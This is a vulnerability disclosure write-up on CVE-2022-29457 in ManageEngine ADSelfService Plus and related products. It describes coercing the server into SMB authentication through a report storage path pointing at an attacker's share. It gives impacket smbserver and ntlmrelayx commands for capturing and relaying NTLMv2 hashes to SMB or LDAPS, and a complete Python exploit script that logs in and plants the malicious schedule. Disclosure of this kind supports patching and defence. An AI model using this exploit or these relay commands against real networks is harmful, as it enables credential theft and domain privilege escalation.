UI
Search…
⌃K

Multiple ManageEngine Applications Critical Information Disclosure Vulnerability

The NTLMv2 hash of the domain user or the computer accounts, can be obtained coercing the target server authenticates an arbitrary SMB server. (CVE-2022-29457)

Introduction

I have detected this vulnerability on the ADSelfService Plus Build 6118 first.
In most cases, ADSelfService Plus application is installed with high domain user privileges. For exploitation it doesn't matter where application is installed. The important point is that the application runs under which privileges (domain user or service).
When scheduling report, the ADSelfService application exports report files to a local or network path. If I specify a SMB server on the network , the server that hosts ADSelfService authenticates the SMB server to export file. The NTLMv2 hash of the domain user or the computer accounts, can be obtained while the authentication is conducting. Relaying the captured hash can cause a privilege escalation in the Active Directory environment.
I noticed that the "schedule report" functionality is inclued in the ADManager Plus, ADAudit Plus, Exchange Reporter Plus. These applications are impacted the same vulnerability.

Detecting the Vulnerability

There is a scheduling report functionality and the Operator user can schedule a report default. While the Operator user sends reports to an email, it is stored C:\ManageEngine\ADSelfService Plus\audit-data as default.
Scheduling Report
For the storage path value , there is a character restriction ( / : * ? < > | "). However, it is checked by the front-end only so it can be bypassed using the proxy. Also, the \ character is not restricted.
Character Restriction
If you set STORAGE_PATH parameter as /../../bypass or C:\bypass through Burp, the reports is extracted to C:\bypass directory.
Bypassing Character Restriction
Bypassing Character Restriction
The Operator user that doesn't have admin privileges can manipulate this scheduling report functionality. If the storage path is a remote file share, the server which hosts the ADSelfService application authenticates to the specified server for storing reports. When authenticating, the NTLMv2 hash is captured.
The user can set storage path as \\IP\share and the server authenticates to the remote address with privileges of the ADSelfService process. There are two options:
  • The ADSelfService runs as a service
  • The ADSelfService runs with domain user privileges
The NTLMv2 hash of the computer account can be captured for the first option and the NTLMv2 hash of the domain user can be captured for the second. After the capturing the hash value, it can be relayed to other servers which are SMB singing or LDAP signing (for DC) is disabled.
If you capture the NTLMv2 hash of computer account, relay it to a server that the computer account is added as a local admin user.
If the ADSelfService runs on the DC as a service, you can capture the NTLMv2 hash of the Domain Controller account, relay it to the another Domain Controller through LDAP and gain high privileges.

Exploitation

When the ADSelfService runs with domain user privileges (the user has high privileges in most cases):

The ADSelfService runs with Domain Admin user privileges for my scenario. However, it is not a requirement for exploitation.
Set up a SMB Server
python tools/impacket/examples/smbserver.py share .
Login the ADSelfService application as operator user. Then create schedule report and set the store path as \\smb-server\share
Setting Storage Path
Capture and try cracking the NTLMv2 hash.
Capturing NTLMv2 Hash
As a more exploitable scenario, the captured hash can be relayed to another computer which SMB signing is disabled using ntlmrelayx .
The SMB Signing is disabled default, if the host is not a Domain Controller.
If the compromised user has sufficient privileges, dumping the NT hash of local users and command execution on the remote machine are possible.
python3 ntlmrelayx.py -sbm2support -t smb://smb-server
SMB Relaying
As another option, the captured hash can be relayed to another Domain Controller.
python3 ntlmrelayx.py -t ldaps://DC2

When the ADSelfService runs as a service

If the ADSelfService runs as a service on the Domain Controller. Exploiting this vulnerability, capture the hash of the Domain Controller account and relay it to another one.
From SMB to LDAP will only be possible if the target is vulnerable to CVE-2019-1040 or CVE-2019-1166.
Capturing Computer Account Hash
//for relaying
python3 ntlmrelayx.py -t ldaps://DC2
After setting ntlmrelayx, login the ADSelfService application as operator user. Then create schedule report and set the store path as \\smb-server\share
Since the report is generated every five minutes, the DC authenticates to SMB server after five minutes.
The exploit:
# Exploit Title: ManageEngine ADSelfService Plus Build < 6121 - The NTLMv2 Hash Disclosure
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
# Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability
# Version: ADSelfService Plus Build < 6121
# Tested against: Build 6118
# CVE: CVE-2022-29457
# !/usr/bin/python3
import argparse
import requests
import urllib3
import random
import sys
"""
1-
a)Set up SMB server to capture NTMLv2 hash.
python3 smbserver.py share . -smb2support
b)For relaying to SMB:
python3 ntlmrelayx.py -smb2support -t smb://TARGET
c)For relaying to LDAP:
python3 ntlmrelayx.py -t ldaps://TARGET
2- Fire up the exploit.
You will obtain the NTLMv2 hash of user/computer account that runs the ADSelfService in five minutes.
"""
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def get_args():
parser = argparse.ArgumentParser(
epilog="Example: exploit.py -t https://Target/ -l Listener-IP -a adselfservice -d unsafe.local -u operator1 -p operator1")
parser.add_argument('-d', '--domain', required=True, action='store', help='DNS name of the target domain. ')
parser.add_argument('-a', '--auth', required=True, action='store', help='If you have credentials of the application user, type adselfservice. If you have credentials of the domain user, type domain')
parser.add_argument('-u', '--user', required=True, action='store')
parser.add_argument('-p', '--password', required=True, action='store')
parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
parser.add_argument('-l', '--listener', required=True, action='store', help='Listener IP to capture NTLMv2 hash')
args = parser.parse_args()
return args
def scheduler(domain, auth, target, listener, user, password):
try:
with requests.Session() as s:
gUrl = target
getCsrf = s.get(url=gUrl, allow_redirects=False, verify=False)
csrf = getCsrf.cookies['_zcsr_tmp']
print("[*] Csrf token: %s" % getCsrf.cookies['_zcsr_tmp'])
if auth.lower() == 'adselfservice':
auth = "ADSelfService Plus Authentication"
data = {
"loginName": user,
"domainName": auth,
"j_username": user,
"j_password": password,
"AUTHRULE_NAME": "ADAuthenticator",
"adscsrf": [csrf, csrf]
}
#Login
url = target + "j_security_check"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}
req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
#Auth Check
url2 = target + "webclient/index.html"
req2 = s.get(url2, headers=headers, allow_redirects=False, verify=False)
if req2.status_code == 200:
print("[+] Authentication is successful.")
elif req2.status_code == 302:
print("[-] Login failed.")
sys.exit(1)
else:
print("[-] Something went wrong")
sys.exit(1)
dn = domain.split(".")
r1 = random.randint(1, 1000)
surl = target + 'ServletAPI/Reports/saveReportScheduler'
data = {
'SCHEDULE_ID':'0',
'ADMIN_STATUS':'3',
'SCHEDULE_NAME': 'enrollment' + str(r1),
'DOMAINS': '["'+ domain +'"]',
'DOMAIN_PROPS': '{"'+ domain +'":{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","DOMAIN_SELECTED_OUS_GROUPS":{"ou":[{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","NAME":"'+ domain +'"}]}}}',
'SELECTED_REPORTS': '104,105',
'SELECTED_REPORT_LIST': '[{"REPORT_CATEGORY_ID":"3","REPORT_LIST":[{"CATEGORY_ID":"3","REPORT_NAME":"adssp.reports.enroll_rep.enroll.heading","IS_EDIT":false,"SCHEDULE_ELEMENTS":[],"REPORT_ID":"104"},{"CATEGORY_ID":"3","REPORT_NAME":"adssp.common.text.non_enrolled_users","IS_EDIT":true,"SCHEDULE_ELEMENTS":[{"DEFAULT_VALUE":false,"size":"1","ELEMENT_VALUE":false,"uiText":"adssp_reports_enroll_rep_non_enroll_show_notified","name":"SHOW_NOTIFIED","id":"SHOW_NOTIFIED","TYPE":"checkbox","class":"grayfont fntFamily fntSize"}],"REPORT_ID":"105"}],"REPORT_CATEGORY_NAME":"adssp.xml.reportscategory.enrollment_reports"}]',
'SCHEDULE_TYPE': 'hourly',
'TIME_OF_DAY': '0',
'MINS_OF_HOUR': '5',
'EMAIL_ID': user +'@'+ domain,
'NOTIFY_ADMIN': 'true',
'NOTIFY_MANAGER': 'false',
'STORAGE_PATH': '\\\\' + listener + '\\share',
'FILE_FORMAT': 'HTML',
'ATTACHMENT_TYPE': 'FILE',
'ADMIN_MAIL_PRIORITY': 'Medium',
'ADMIN_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_sub',
'ADMIN_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_msg_html',
'MANAGER_FILE_FORMAT': 'HTML',
'MANAGER_ATTACHMENT_TYPE': 'FILE',
'MANAGER_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_mgr_sub',
'MANAGER_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_mgr_msg_html',
'adscsrf': csrf
}
sch = s.post(surl, data=data, headers=headers, allow_redirects=False, verify=False)
if 'adssp.reports.schedule_reports.storage_path.unc_storage_path' in sch.text:
print('[-] The target is patched!')
sys.exit(1)
if sch.status_code == 200:
print("[+] The report is scheduled. The NTLMv2 hash will be captured in five minutes!")
else:
print("[-] Something went wrong. Please, try it manually!")
sys.exit(1)
except:
print('[-] Connection error!')
def main():
arg = get_args()
domain = arg.domain
auth = arg.auth
user = arg.user
password = arg.password
target = arg.target
listener = arg.listener
scheduler(domain, auth, target, listener, user, password)
if __name__ == "__main__":
main()

Other ManageEngine Applications

ADManagerPlus Build 7131, ADAuditPlus Build 7060, Exchange Reporter Plus Build 5701 are impacted same NTLMv2 hash information disclosure vulnerability.
There are too many user role types in the applications. The scheduling report permission is enough to exploit the vulnerability. If a technician user has scheduling report privilege, he can obtain the NTLMv2 hash of user that runs applications. If applications are installed as a service, the NTLMv2 hash of computer account can be obtained.
The technician user must have the following permissions on the ADManagerPlus:
Required Privileges for Exploiting ADManagerPlus
The technician user must have the following permissions on the ADAuditPlus:
Required Privileges for Exploiting ADAuditPlus
The technician user must have the following permissions on the Exchange Reporter Plus:
Required Privileges for Exploiting Exchange Reporter Plus

For capturing the NTLMv2 hash:

// set up SMB server first
python tools/impacket/examples/smbserver.py share .
Login the application technician user. Then create schedule report and set the store path as \\smb-server\share
When the reports are generated, the hash is obtained.

The Patch

The vulnerability has been fixed in ADSelfService Build 6121. You can see the release notes.
I take a look at source code after the patch. If you are not a admin user and the storage path starts with \\ . You will be blocked with adssp.reports.schedule_reports.storage_path.unc_storage_path code.
The Patch
The Patch
If you are an admin user, you can still obtain the NTLMv2 hash.